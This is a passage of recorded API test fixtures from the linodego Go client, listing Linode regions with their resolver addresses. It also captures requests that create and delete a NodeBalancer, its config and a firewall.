172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-def","region":"ap-west","client_conn_throttle":20,"tags":null,"firewall_id":228210}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers method: POST response: body: '{"id": 441120, "label": "go-test-def", "region": "ap-west", "hostname": "172-232-87-30.ip.linodeusercontent.com", "ipv4": "172.232.87.30", "ipv6": "1234::5678", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "client_conn_throttle": 20, "tags": [], "transfer": {"in": null, "out": null, "total": null}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "334" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"port":80,"protocol":"http","algorithm":"roundrobin","check_interval":60}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441120/configs method: POST response: body: '{"id": 670338, "port": 80, "protocol": "http", "algorithm": "roundrobin", "stickiness": "none", "check": "none", "check_interval": 60, "check_timeout": 30, "check_attempts": 3, "check_path": "", "check_body": "", "check_passive": true, "proxy_protocol": "none", "cipher_suite": "recommended", "nodebalancer_id": 441120, "ssl_commonname": "", "ssl_fingerprint": "", "ssl_cert": null, "ssl_key": null, "nodes_status": {"up": 0, "down": 0}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "437" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441120/configs/670338 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/nodebalancers/441120 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - nodebalancers:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/228210 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" TestNodeBalancerNode_CreateInstance.yaml000066400000000000000000000563311455402072200343230ustar00rootroot00000000000000golang-github-linode-linodego-1.28.0/test/integration/fixtures--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", 